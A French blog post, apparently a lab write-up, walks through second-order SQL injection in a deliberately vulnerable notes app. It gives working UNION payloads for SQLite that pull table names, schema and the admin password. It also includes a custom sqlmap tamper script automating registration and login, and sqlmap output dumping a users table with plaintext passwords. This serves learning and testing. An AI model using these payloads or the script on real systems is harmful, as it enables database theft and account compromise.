Exploitation de l'injection SQL de second ordre
Je suis tombé dessus et je l'ai trouvé très fascinant mais aussi très abstrait à comprendre et difficile à exploiter. Cependant, apprendre à exploiter ce type de vulnérabilité (SQLi) m'a aidé à élargir ma perspective, à renforcer mes compétences SQLMap et m'a permis de mieux comprendre comment les entrées utilisateur sont traitées dans le flux de travail de l'application côté serveur.
Dans ce post, j'écrirai sur:
- SQLi de 2ème ordre en général,
- les conditions préalables nécessaires,
- comment identifier,
- comment exploiter manuellement et
- comment automatiser l'exploitation avec un script de sabotage SQLMap personnalisé.
Les bases
En termes simples : Lors d'une injection SQL de premier ordre, un attaquant utilise un paramètre d'entrée (point d'injection) pour manipuler une requête SQL qui est effectuée par l'application serveur vulnérable. Le serveur utilise l'entrée fournie par l'utilisateur pour créer une requête SQL afin de lire, écrire, mettre à jour, supprimer, etc. des données dans la base de données principale. Si l'entrée fournie par l'utilisateur n'est pas gérée de manière sûre (nettoyage, validation), l'attaquant peut fournir une charge utile qui manipule la requête SQL exécutée pour effectuer des actions malveillantes sur le SGBD. La caractéristique d'un SQLi de premier ordre est que la requête SQL malveillante est exécutée en conséquence directe de l'injection de charge utile. L'attaquant n'a pas besoin d'effectuer une deuxième action pour exécuter la charge utile malveillante.
Il existe plusieurs façons d'empêcher facilement les injections SQL de premier ordre. L'utilisation d'instructions préparées ou le traitement d'entrée paramétré ne sont que quelques-uns d'entre eux. Cependant, les développeurs de nos jours peuvent être conscients que les entrées fournies par l'utilisateur doivent être traitées de manière sûre. Mais ils oublient souvent de gérer en toute sécurité les données qui ont déjà été enregistrées dans la base de données. C'est là qu'intervient SQLi de second ordre.
Pour clarifier les choses, supposons le scénario suivant : Une application permet aux utilisateurs de télécharger des images et de les enregistrer dans la base de données. Le tableau comporte des colonnes pour :
- l'identifiant unique des photos,
- l'image elle-même,
- le nom de fichier de l'image,
- un compteur de vues de l'image par les utilisateurs de l'application.
POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg
[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]
cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))
conn.commit()
conn.close()
Comme mentionné précédemment, la table de base de données 'images' a une troisième colonne 'vues'. Chaque fois qu'un utilisateur visualise l'image, ce compteur est incrémenté de 1. L'application renvoie également le compteur à l'utilisateur, si l'utilisateur ouvre la vue détaillée de l'image. Ainsi, à un moment donné du code, l'application pourrait ressembler à ceci :
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture extracted from database]
cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]
conn.close()
Les pré-requis du SQLi de 2ème ordre
Concluons donc cette courte introduction et définissons les pré-requis et les caractéristiques du SQLi de 2ème ordre.
- L'application permet en quelque sorte le stockage des entrées de l'utilisateur dans l'application lors d'une première étape. Cela peut être soit dans l'espace mémoire de l'application soit dans un SGBD backend par exemple.
- L'attaquant peut effectuer une deuxième étape pour que l'application exécute une requête SQL qui utilise l'entrée utilisateur qui a été injectée lors de la première étape.
- L'application n'utilise pas de techniques anti SQLi lors de l'exécution de la requête (lors de l'étape 2) basée sur l'entrée utilisateur malveillante (de l'étape 1).
L'identification de ces vulnérabilités peut être très difficile, en fonction de la complexité et de la traçabilité de l'architecture et de la mise en œuvre de l'application.
Essayez d'imaginer le flux d'exécution des fonctionnalités de l'application tout en effectuant des actions qui pourraient interagir avec un SGBD backend.
Tout d'abord, vous testerez bien sûr toujours les injections SQL classiques du premier ordre. Mais si rien ne fonctionne et que vous devez supposer que certaines défenses sont utilisées lors du traitement de la demande d'injection, essayez de réfléchir un peu plus loin et d'imaginer à quel(s) moment(s) votre entrée pourrait être traitée dans différentes fonctionnalités/zones de l'application. Si vous avez identifié quelques points d'exécution de second ordre possibles, essayez d'imaginer les requêtes effectuées par l'application à ce stade. Ensuite, construisez vos charges utiles d'injection de manière à ce qu'elles puissent exploiter la requête effectuée par les points d'exécution de deuxième ordre et vérifier les résultats.
L'automatisation de ce processus peut être un peu compliquée, mais peut vous faire gagner beaucoup de temps. Cependant, il est absolument nécessaire de bien comprendre à quoi ressemble le flux d'exécution des applications côté serveur, les chaînes de requête affectées, etc. si vous souhaitez automatiser le processus d'exploitation avec des outils tels que SQLMap. Alors ne vous contentez pas de tirer sur l'application et d'espérer le meilleur. Plongez le plus profondément possible dans l'application avant de préparer la commande d'exploitation finale de SQLMap afin d'améliorer les chances de réussite.
Analyse et exploitation manuelles
Donc, pour le démontrer dans un exemple pratique, j'utiliserai une application vulnérable ("Vulnerable Notes") avec des composants d'application typiques comme :
- connexion,
- s'inscrire,
- profil,
- changer le mot de passe,
- prendre des notes,
- Se déconnecter.
Dans un premier temps, j'ai analysé l'application avec un navigateur, pour identifier les potentiels points d'injection SQL.
La fonction d'inscription effectuera à coup sûr une sorte de requête SELECT afin de vérifier si le nom d'utilisateur est déjà pris, et une requête INSERT pour enregistrer mon utilisateur.
J'ai créé un utilisateur et je suis passé à la page de connexion. Cette page prendra les informations d'identification fournies par l'utilisateur et effectuera une sorte d'instruction SELECT sur la base de données pour vérifier les informations d'identification.
Après authentification, l'utilisateur est redirigé vers la page d'accueil. Le nom d'utilisateur est affiché en haut de la page. Il est donc possible que l'application effectue une requête SELECT pour extraire le nom d'utilisateur de la base de données à ce stade.
À partir de ce point de départ, l'utilisateur peut effectuer les actions liées à l'utilisateur, telles que la prise de notes sur le point de terminaison /notes. Le nom d'utilisateur est présenté en deuxième position dans la rubrique "Bienvenue". Il est possible que l'application effectue une requête SELECT pour redemander le nom d'utilisateur.
L'application effectuera très probablement une sorte d'instruction INSERT sur la base de données si cette fonctionnalité est utilisée. Après avoir pris des notes, celles-ci peuvent être consultées sur la même page, sous le formulaire.
Pour afficher les notes, l'application effectuera en quelque sorte une requête SELECT sur la base de données pour demander les notes enregistrées.
L'application propose également une fonctionnalité de "changement de mot de passe", mais le message sur la page indique que cette fonction pourrait ne pas être implémentée.
Cependant, s'il est implémenté, il effectuera très probablement une sorte de requête UPDATE sur la base de données. Je voulais d'abord éliminer ce vecteur, alors j'ai essayé la fonction et cela n'a pas réussi. Il est confirmé que la fonction n'est pas implémentée.
Suite à mon approche pour SQLi de premier ordre, la prochaine chose que j'ai faite a été de faire un résumé de toutes les requêtes SQL potentielles, que je pourrais prendre en charge en injectant des charges utiles malveillantes. À ce stade, j'essaie d'imaginer à quoi ces requêtes pourraient ressembler. Je n'ai aucune certitude qu'ils ressemblent exactement à cela, mais cela aide à comprendre le fonctionnement du backend.
Enregistrer
-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME
-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)
-- Check if there is an user id where the provided credentials actually match.
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD
-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)
C'est l'heure de l'approche du 2ème ordre.
Comme j'ai déjà analysé l'application en détail, je n'aurai pas à analyser à nouveau l'application cible. Au lieu de cela, il suffit de parcourir mes connaissances déjà acquises sur l'application avec une vue/approche différente.
Revenant aux pré-requis mentionnés précédemment de SQLi de 2ème ordre, je dois me poser la question :
Où l'application prend-elle mon entrée utilisateur, la stocke-t-elle pour une utilisation ultérieure et, dans une étape ultérieure, l'utilise-t-elle dans le cadre d'une autre requête sur laquelle je n'ai pas d'impact direct ?
Les candidats possibles sont :
- Nom d'utilisateur : Je transmets le nom d'utilisateur à l'application lors du processus d'inscription. Le nom d'utilisateur est ensuite interrogé à partir de la page /home et de la page /notes pour l'afficher. Et il est également possible que le nom d'utilisateur soit utilisé pour interroger les notes enregistrées de l'utilisateur spécifique à partir de la base de données.
Puisque je peux voir le résultat de la requête, je sais que j'ai affaire à un scénario d'exploitation basé sur UNION. En suivant la méthodologie typique, je devrai d'abord savoir combien de colonnes sont interrogées à partir de la table par la requête d'origine. Pour cela, je prépare plusieurs charges utiles et j'analyse les résultats par la suite.
-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...
La charge utile s'affiche comme prévu en haut de la page d'accueil et en haut de la page /notes.
Ensuite, j'ai essayé d'insérer une note mais étonnamment, la note n'est pas affichée par l'application par la suite !
On dirait que la requête chargée de demander les notes de la base de données est cassée. Cela indique bien sûr que notre charge utile a eu un impact sur la requête interne. Mais puisque rien n'est affiché, il semble que la requête produise une erreur ou ne renvoie pas de résultats. Cela peut bien sûr se produire si nous n'avons pas défini le nombre correct de colonnes dans la charge utile. Passons donc aux charges utiles suivantes de la liste jusqu'à ce qu'un comportement différent apparaisse.
Heureusement, la prochaine charge utile a fonctionné ! « Aucun » et « Aucun » ont été renvoyés comme titre et texte de la note.
Assembler les pièces :
-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- The payload
' UNION SELECT null,null--comment
-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment
J'ai adapté les informations de la feuille de triche et construit une charge utile de travail. La nouvelle charge utile :
' UNION SELECT null,sqlite_version()--comment
À partir de ce moment, le flux d'exploitation typique de SQLite (charges utiles dans la feuille de triche fournie) peut être utilisé pour vider l'intégralité de la base de données. Essayons d'autres charges utiles avant d'automatiser le processus.
Extraire tous les noms de table
' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment
' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment
' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment
' UNION SELECT null, password FROM users WHERE username='admin'--comment
Exploitation automatisée via SQLMap Tamper Script
Jusqu'à ce que je travaille sur ce scénario, je n'utilisais SQLMap que pour exploiter SQLi de premier ordre. Je me demandais s'il était également possible d'exploiter SQLi du second ordre. Tout d'abord, j'ai utilisé mon terminal pour rechercher des options SQLMap liées à l'exploitation de second ordre et j'ai trouvé ceci :
┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Rappelons-nous les étapes nécessaires pour exploiter manuellement la vulnérabilité :
- Injection non authentifiée de payload dans la fonction « registre ».
- Authentification via la fonction "login".
- Requête authentifiée à la page "notes".
Je savais que SQLMap pouvait exécuter des scripts python avec l'option "-tamper". J'ai vérifié le dossier de script de sabotage pour voir si je peux y trouver quelque chose d'utile que je pourrais ajuster à mes besoins. Malheureusement non.
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper
0eunion.py chardoubleencode.py dunion.py ifnull2casewhenisnull.py modsecurityversioned.py plus2fnconcat.py space2hash.py space2randomblank.py versionedkeywords.py
apostrophemask.py charencode.py equaltolike.py ifnull2ifisnull.py modsecurityzeroversioned.py __pycache__ space2morecomment.py sp_password.py versionedmorekeywords.py
apostrophenullencode.py charunicodeencode.py equaltorlike.py informationschemacomment.py multiplespaces.py randomcase.py space2morehash.py substring2leftright.py xforwardedfor.py
appendnullbyte.py charunicodeescape.py escapequotes.py __init__.py ord2ascii.py randomcomments.py space2mssqlblank.py symboliclogical.py
base64encode.py commalesslimit.py greatest.py least.py overlongutf8more.py schemasplit.py space2mssqlhash.py unionalltounion.py
between.py commalessmid.py halfversionedmorekeywords.py lowercase.py overlongutf8.py sleep2getlock.py space2mysqlblank.py unmagicquotes.py
binary.py commentbeforeparentheses.py hex2char.py luanginx.py percentage.py space2comment.py space2mysqldash.py uppercase.py
bluecoat.py concat2concatws.py htmlencode.py misunion.py plus2concat.py space2dash.py space2plus.py varnish.py
Comment écrire des scripts de sabotage personnalisés pour sqlmap
À partir de l'article, j'ai obtenu le squelette de modèle suivant (supprimé la réimportation) et l'ai enregistré sous custom.py :
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
La fonction reçoit la charge utile SQLMap via le paramètre de fonction et renvoie la charge utile falsifiée après manipulation. L'article n'expliquait pas comment utiliser les **kwargs dans le contexte de SQLMap, j'ai donc demandé à ChatGPT et j'ai obtenu une bonne réponse :
Cela devrait être suffisant pour préparer le script de sabotage personnalisé pour l'exploit. Pour la communication avec le serveur, j'ai utilisé la bibliothèque de requêtes.
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests
def dependencies():
pass
def tamper(payload, **kwargs):
# Create Session object
s = requests.Session()
# Register user with SQLMap payload in username
s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
# Login malicious username
res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
# Get headers from SQLMap
headers = kwargs.get('headers', {})
# Extract session cookie from response
sessId = "session={}".format(s.cookies.get('session', None))
# Pass session cookie to SQLMap cookie header
headers['Cookie'] = sessId
return payload
En rassemblant tous les éléments, la commande SQLMap suivante peut être utilisée :
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:20:46 /2023-02-04/
[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated
[*] ending @ 12:22:06 /2023-02-04/
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:25:23 /2023-02-04/
[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+
[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated
[*] ending @ 12:25:30 /2023-02-04/
──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
___
__H__
___ ___[.]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:26:59 /2023-02-04/
[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users'
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password | username |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | rcLYWHCxeGUsA9tH3GNV | admin |
| 2 | asd | dev |
| 3 | Summer2019! | amanda |
| 4 | 345m3io4hj3 | maja
...
En raison de leur nature, ces vulnérabilités peuvent apparaître partout dans les applications Web. Même si les développeurs ont géré correctement la saisie de l'utilisateur à première vue, cela ne signifie pas que les mesures anti SQLi sont appliquées à l'échelle de l'application. À l'avenir, j'aurai certainement les yeux ouverts et j'essaierai de suivre et de comprendre en profondeur le flux de travail de l'application/de la base de données.
J'espère que vous avez apprécié cet article et peut-être que cela peut vous aider avec des scénarios similaires. J'ai vraiment aimé écrire ceci et j'ai appris beaucoup de nouvelles choses pendant ce samedi. Laissez un commentaire, aimez ou suivez et restez à l'écoute pour plus de choses sur le Web et très bientôt des sujets sur l'infrastructure AD.
PAIX
![Qu'est-ce qu'une liste liée, de toute façon? [Partie 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































